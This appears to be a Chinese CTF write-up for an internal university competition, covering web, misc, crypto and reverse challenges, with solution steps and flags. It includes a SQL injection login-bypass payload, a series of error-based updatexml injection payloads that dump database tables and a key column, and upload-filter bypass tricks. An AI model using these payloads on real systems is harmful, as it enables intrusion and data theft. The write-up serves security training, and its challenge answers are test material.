浙江工业大学12月1日内部赛WP

 

宝葫芦口

使用 IDA 打开文件

Main 函数先 scanf 了一个东西,然后取它的长度,如果长度是 101,就会输出 yes。然后继续看 check 函数

很简单的逻辑,第一位是 ASCII 是 71,第二位是 105,第三位是 118,第四位是 101,最后一位是 33。

使用 python 构造 payload:

nc 连接服务器,即可得到 flag

WEB-3

Input

第一步:查看源码

  1. <!DOCTYPE html>
  2. <html>
  3. <head lang=”en”>
  4.  <meta charset=”UTF-8″>
  5.  <title>Input</title>
  6. </head>
  7. <body>
  8. <div align=”center”>
  9.  <input type=”text” id=”flag” style=”width: 200px;margin-left: 100px;” value=”” />
  10.  <input type=”button” name=”” id=”” onclick=”check();” value=”提交”/>
  11. </div>
  12. </body>
  13. <script>
  14.   function check(){
  15.     var flag = document.getElementById(“flag”).value;
  16.     var str = “d84d9657e5e5e” || 0;
  17.     var str = str + (“ad2ad3fe” && 2);
  18.     var str = str + “a2da9494b8” + “ddea4fd4”;
  19.     var str = str.split(“”).reverse().join(“”);
  20.     if (str == flag){
  21.       alert(“恭喜你已经找到flag!”);
  22.     }
  23.   }
  24. </script>
  25. </html>

我们有两个发现:

①一眼锁定有中文的那个地方:我们知道只要让str的值和flag的值相等就可以得到flag。

②然后我们看flag从哪里来的:我们看到第9行,输入框的id号就是flag。也就是说,我们输入的值等于str就可以了。

③str的值是多少:16行到19行都是str的定义声明。

第二步:我们可以利用在chrome里面,F12,在控制台把str的值打印出来,然后复制弹框里面的str值,粘贴到输入框里就可以了。

  1. var str = “d84d9657e5e5e” || 0;
  2. var str = str + (“ad2ad3fe” && 2);
  3. var str = str + “a2da9494b8” + “ddea4fd4”;
  4. var str = str.split(“”).reverse().join(“”);
  5. alert(str);
  • var value = A || B 只看A的值是真还是假,如果为真返回A的值,否则返回B的值。
  • var value = A&& B 只看A的值,A为假返回A的值,否则返回B的值。
  • split() 方法用于把一个字符串分割成字符串数组。
  • reverse() 函数用于反向列表中元素。
  • join() 方法用于把数组中的所有元素放入一个字符串。

WEB-4

我的生日

这里的我指的哆啦A梦,百度哆啦A梦的生日

按照题目的格式要求输入21120903和验证码,即可过关

WEB -7

题目:admin123456

描述:入门级入侵,你以为就这样你就能得分了?太小看admin 了。(答案为flag{}形式,提交{}中内容即可)

分类:web

相关环境:靶机 IP 192.168.11.31

步骤一:进去后在登录框内输入,可以发现前端对一些特殊字符做了过滤;

步骤二:利用Burpsuite抓包可以绕过前端过滤,构造payload:name=’ or ”=’&password=’ or ”=’ ;可以成功拿到flag

MISC-1 文件中的秘密

小明经常喜欢在文件中藏一些秘密。时间久了便忘记了,你能帮小明找到该文件中的秘密吗?

MISC-2 隐藏的钥匙

路飞一行人千辛万苦来到了伟大航道的终点,找到了传说中的One piece,但是需要钥匙才能打开One Piece大门,钥匙就隐藏在下面的图片中,聪明的你能帮路飞拿到钥匙,打开One Piece的大门吗?

MISC-3 基础破解

给你一个压缩包,你并不能获得什么,因为他是四位数字加密的哈哈哈哈哈哈哈。。。不对= =我说了什么了不得的东西。。

MISC-4 ningen

人类的科学日益发展,对自然的研究依然无法满足,传闻日本科学家秋明重组了基因序列,造出了名为ningen的超自然生物。某天特工小明偶然截获了日本与俄罗斯的秘密通信,文件就是一张ningen的特写,小明通过社工,知道了秋明特别讨厌中国的六位银行密码,喜欢四位数。你能找出黑暗科学家秋明的秘密么?(答案为flag{}形式,提交{}内内容即可)

下载附件,是个奇奇怪怪的图片,查看属性,什么也没有,拖入winhex

右下角有ningen.txt,所以去binwalk一下

可以发现里面有zip,foremost分解一下

得到zip,发现有密码,题目中说讨厌银行卡6位密码,喜欢四位数,所以可以直接爆破纯数字,四位

得到密码

压缩包内的文本文件

crypto-1 这是什么

小明是一个软件专业的高材生,但是老师布置的这次的作业似乎不怎么靠谱,因为他们老师以前是学物理的!喜欢乱七八糟命名文件,还喜欢奇奇怪怪的编码。你快帮小明看一下这题,小明准备好了一箱子辣条。(答案为flag{}形式,提交{}内内容即可)

首先,下载到了一个apk文件,把它放到winhex里看了一下,发现一大段[](+的字符

应该是类似于BF密码,然后复制下来到百度里搜了一下,发现这个可以直接在console里运行。

运行之后就跳出了弹框,得到flag。

Crypto-2 救世捷径

一个名叫CPU的神秘大陆有26个国家,有些国家之间会有一条无向路,每条路径都有不同的长度和一段神秘代码,救世主尼奥要从国家1出发,赶往国家26拯救大陆,请你帮助救世主选择最短路径,而走过的路的神秘代码连接起来便是flag。 以下是数行数据,每行第一个,第二个数字代表这条路的两个端点国家,第三个数字代表路途长度,最后一个字符串便是神秘代码。路在附件中~ 帮助救世主尼奥吧,他快被吓尿了。。。(答案为flag{}形式,提交{}内内容即可)

看到路径和规则后 开始试

在后面发现“18 24 93 SHFVG”这条走不通先删

从”1 2 100 FLAG{ “开始

优先在 ”2 5 50 WEIVK“

“2 6 51 AWEIW”中选 因为觉得花费少

挑选相对消耗少的然后一个一个尝试出了结果

“1 2 100 FLAG{”开始 挑选了相对较低的“2 5 50 WEIVK”到达5

5 10 43 AEWJV

5 11 32 QWKXF

5 12 44 ASJVL

三个中 本来打算选择 5 11 32 QWKXF

走到11

11 21 57 SJHGG

12 22 47 SJCHF

发现走5 12 44 ASJVL 然后 12 22 47 SJCHF

和走5 11 32 QWKXF 然后11 21 57 SJHGG

消耗一样 想着走大一点的就先选了先走5 12 44 ASJVL 然后 12 22 47 SJCHF

接下来的路没有选择 就直接走下去了

最后试了一下FLAG{WEIVKASJVLSJCHFSJVHJSDEV}的值直接一次成功了

写wp时找了下代码

# coding:utf-8

source=”’

1 2 100 FLAG{

2 3 87 AFQWE

2 4 57 ETKLS

2 5 50 WEIVK

2 6 51 AWEIW

3 7 94 QIECJF

3 8 78 QSXKE

3 9 85 QWEIH

4 13 54 WQOJF

4 14 47 KDNVE

4 15 98 QISNV

5 10 43 AEWJV

5 11 32 QWKXF

5 12 44 ASJVL

6 16 59 ASJXJ

6 17 92 QJXNV

6 18 39 SCJJF

6 23 99 SJVHF

7 19 99 WJCNF

8 20 96 SKCNG

9 20 86 SJXHF

10 21 60 SJJCH

11 21 57 SJHGG

12 22 47 SJCHF

14 10 55 EJFHG

16 17 59 ASJVH

18 12 53 SJFHG

18 24 93 SHFVG

21 22 33 SJFHB

19 25 88 ASHHF

20 25 96 SJVHG

22 25 23 SJVHJ

25 26 75 SDEV}

”’

d = source.split()

dic={}

for i in range(len(d)/4):#数据预处理

f1=i*4

f2=i*4+1

f3=i*4+2

f4=i*4+3

if int(d[f1]) not in dic:

dic.update({int(d[f1]):dict({int(d[f1]):[0,”]})})

if int(d[f2]) not in dic:

dic.update({int(d[f2]):dict({int(d[f2]):[0,”]})})

dic[int(d[f1])][int(d[f2])]=[int(d[f3]),d[f4]]

#print dic

def Dijkstra(G,v0,INF=999):

book = set()

minv = v0

# 源顶点到其余各顶点的初始路程

dis = dict((k,[INF,”]) for k in G.keys())

 

dis[v0] = [0,”]

while len(book)<len(G):

#print book

book.add(minv) # 确定当期顶点的距离

#print G[minv]

for w in G[minv]: # 以当前点的中心向外扩散

#print minv,w

#print dis

if dis[minv][0] + G[minv][w][0] < dis[w][0]: # 如果从当前点扩展到某一点的距离小与已知最短距离

dis[w][0] = dis[minv][0] + G[minv][w][0] # 对已知距离进行更新

dis[w][1] = dis[minv][1] + G[minv][w][1] # 对相应字符串进行增长

new = INF # 从剩下的未确定点中选择最小距离点作为新的扩散点

for v in dis.keys():

if v in book: continue

if dis[v][0] < new:

new = dis[v][0]

minv = v

return dis

dis = Dijkstra(dic,v0=1)

print dis.values()

Crypto-3 萌萌哒的八戒

萌萌哒的八戒原来曾经是猪村的村长,从远古时期,猪村就有一种神秘的代码。请从附件中找出代码,看看萌萌哒的猪八戒到底想说啥

 

Crypto-4 篱笆墙的影子

星星还是那颗星星哟 月亮还是那个月亮 山也还是那座山哟 梁也还是那道梁 碾子是碾子 缸是缸哟 爹是爹来娘是娘 麻油灯呵还吱吱响 点的还是那么丁点亮 哦哦

题目:篱笆墙的影子

描述:

星星还是那颗星星哟

月亮还是那个月亮

山也还是那座山哟

梁也还是那道梁

碾子是碾子

缸是缸哟

爹是爹来娘是娘

麻油灯呵还吱吱响

点的还是那么丁点亮 哦哦

分类:crypto

步骤一:打开附件内容如下:felhaagv{ewtehtehfilnakgw},根据题目描述判断是栅栏密码;

步骤二:分栏列举解密,可以发现密文分成13栏的时候拿到flag

Crypto-5 大帝的秘密武器

公元前一百年,在罗马处上了一位对世界影响巨大的人物,他是当时罗马三巨头之一。在执政生涯中,传言他率先使用了一种简单的加密函,因此这种加密方法以他的名字命名。以下密文被解开后可以获得一个有意义的单词,你可以用这个相同的加密向量加密附件中的密文,作为答案进行提交:FRPHEVGL。答案为非常规形式。

大帝的秘密武器

根据史料可知,这位皇帝为凯撒大帝,所以使用的加密方法应该是凯撒加密。使用在线工具

使用人工智能(大脑)查找有意义词汇,SECURITY,发现偏移量为 13,所以用 13 对ComeChina进行加密

得到 flag:PbzrPuvan

Crypto-6 一张谍报

国家能源总部经过派出卧底长期刺探,终于找到一个潜伏已久的国外内鬼:三楼能源楼管老王。由于抓捕仓促,老王服毒自尽了。侦查部门搜出老王每日看的报纸原来是特制的情报。聪明的你能从附件的报纸中找出情报么?flag是老王说的暗号。(由于老王的线人曾今做的土匪,所以用的行话)

题目说老王每天看的报纸是特制的情报,然后在报纸中发现了两篇题目一模一样,内容也很相近的文章,那么可以推断这是一个字对一个字的“密码本”。在报纸的最后,有颜色非常浅的一段文字,如下图所示:

与上面的右侧文章相对照,可以发现该文章中的很多奇怪的字在这段文字里都有,那么这段文字,应该就是密文。可以用word查找替换功能一一替换密文中的字。得到下面这样的结果:

今朝梆子二更头,老鹰蹲猎东口,三更鼹鼠断东口亮子,老鹰进北口上树,三枝遇孙子,孙子对虎符曰:南天菩萨放鹰捉猴头。鹰对:北朝罗汉伏虎乱天门。合符放行,卡符扯呼。人离烧树,鼹鼠归洞,孙子找爷爷。

题目说,flag是老王说的暗号,但老王是谁呢?此时注意到题目提到老王是三楼的楼管,解出来黑话中有“三枝遇孙子”这样的话,也就是说,老王就是孙子,那么flag就是:南天菩萨放鹰捉猴头。

Crypto-7 其实很简单

在学习了凯撒大帝使用的神奇密码后,密码前辈们有创造出了更为奇异的加密方法。本题出题者喜欢用helloworld当密钥,密文如下:dlpcsegkshrij,请破解后提交。附录是一张似乎有用的表。答案为非常规形式。

Reverse-1Mysterious

自从报名了CTF竞赛后,小明就辗转于各大论坛,但是对于逆向题目仍是一知半解。有一天,一个论坛老鸟给小明发了一个神秘的盒子,里面有开启逆向思维的秘密。小明如获至宝,三天三夜,终于解答出来了,聪明的你能搞定这个神秘盒子么?(答案为flag{}形式,提交{}内内容即可)

Reverse-2helloword

有难的题目,也就有简单的题目,就像程序员一辈子编写的第一个程序,极有可能是helloword,它很普通,但是也很让人怀念。你猜这题flag在哪里?让我们怀念第一次编写的easy程序吧!(答案为flag{}形式,提交{}内内容即可)

Reverse-3firmware

网管小张审计日志时发现疑似黑客使用Bash漏洞对公司的路由器进行了攻击,小张通过技术手段获取到了路由器固件dump文件,但是小张不懂逆向分析,请帮助小张分析出后门程序所使用的远程服务器和端口.(flag文件在/home/ctf/flag.txt文件中,Flag形式为 md5(网址:端口)},注意网址不包含http比如:md5(www.baidu.com:80)=5411a465b86d593986b8b9f9b1c1788c)

firmware

路由器固件分析题 需要的工具binwalk 、 firmware-mod-kit 和upx

firmware-mod-kit地址UPX地址

安装firmware-mod-kit

linux> sudo apt-get install git build-essential zlib1g-dev liblzma-dev python- magic

linux> git clone https://github.com/mirror/firmware-mod-kit.git linux> cd firmware-mod-kit/src

linux> ./configure linux> make

使用binwalk分离固件

binwalk -e 58da080ca4461.bin

使用firmware-mod-kit

linux> cd firmware-mod-kit linux> ./unsquashfs_all.sh

‘/home/Curtails/Desktop/_58da080ca4461.bin.extracted/120200.squashfs’ linux> cd squashfs-root/tmp/

linux> ls backdoor

cd squashfs-root/tmp 看到后门文件backdoor 有壳 直接upx -d backdoor 脱壳

ida打开分析 字符串查找

查看此字符串引用函数

得echo.byethost51.com:36667 md5加密即可

flag{33a422c45d551ac6e4756f59812a954b}

Reverse-4简单注册器

生活中难免会有需要使用一些付费的程序,但是没有绿色版怎么办?只能自己逆向看看注册程序的代码是什么逻辑了。(答案为flag{}形式,提交{}内内容即可)

工具 :Androidkiller,夜神模拟器

拖进去打开查看源Java代码

分析主要函数

paramBundle.setOnClickListener(new View.OnClickListener()

{

public void onClick(View paramAnonymousView)

{

int j = 1;

paramAnonymousView = this.val$editview.getText().toString();

if ((paramAnonymousView.length() != 32) || (paramAnonymousView.charAt(31) != ‘a’) || (paramAnonymousView.charAt(1) != ‘b’) || (paramAnonymousView.charAt(0) + paramAnonymousView.charAt(2) – 48 != 56)) {

j = 0;

}

if (j == 1)

{

paramAnonymousView = “dd2940c04462b4dd7c450528835cca15”.toCharArray();

paramAnonymousView[2] = ((char)(paramAnonymousView[2] + paramAnonymousView[3] – 50));

paramAnonymousView[4] = ((char)(paramAnonymousView[2] + paramAnonymousView[5] – 48));

paramAnonymousView[30] = ((char)(paramAnonymousView[31] + paramAnonymousView[9] – 48));

paramAnonymousView[14] = ((char)(paramAnonymousView[27] + paramAnonymousView[28] – 97));

j = 0;

for (;;)

{

if (j >= 16)

{

paramAnonymousView = String.valueOf(paramAnonymousView);

localTextView.setText(“flag{” + paramAnonymousView + “}”);

return;

}

int i = paramAnonymousView[(31 – j)];

paramAnonymousView[(31 – j)] = paramAnonymousView[j];

paramAnonymousView[j] = i;

j += 1;

}

}

localTextView.setText(“输入注册码错误”);

}

}

方法一,分析if里的条件,只要满足就会输出flag。打开夜神模拟器

构造一串字符串 0b8xxxxxxxxxxxxxxxxxxxxxxxxxxxxa

方法二:直接写脚本跑

#include <iostream>

#include<string>

using namespace std;

int main()

{

char s[] = “dd2940c04462b4dd7c450528835cca15”;

s[2] = s[2] + s[3] – 50;

s[4] = s[2] + s[5] – 48;

s[30] = s[31] + s[9] – 48;

s[14] = s[27] + s[28] – 97;

int j = 0;

while (j < 16)

{

int i = s[(31 – j)];

s[31 – j] = s[j];

s[j] = i;

j++;

}

cout << s << endl;

return 0;

}

结果即为flag

Other-1 密码是啥

是否可以使用常规SQL注入方法?

是否可以使用盲注?

是否可以使用报错注入?

admin’ and updatexml(1,concat(0x3a, (select database()),0x3a),1);–

查看表名

admin’ and updatexml(1,concat(0x3a, (select group_concat(table_name)

from information_schema.tables where table_schema = database()),0x3a),1);–

查看表的字段

admin’ and updatexml(1,concat(0x3a, (select group_concat(column_name) from information_schema.columns where table_name = ‘admin’),0x3a),1);–

查看表的字段值

admin’ and updatexml(1,concat(0x3a,(select group_concat(f149_k3y) from admin),0x3a),1);–

Other-2 Upload

白名单上传绕过

文件名 00截断,文件类型伪造,文件头伪造

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注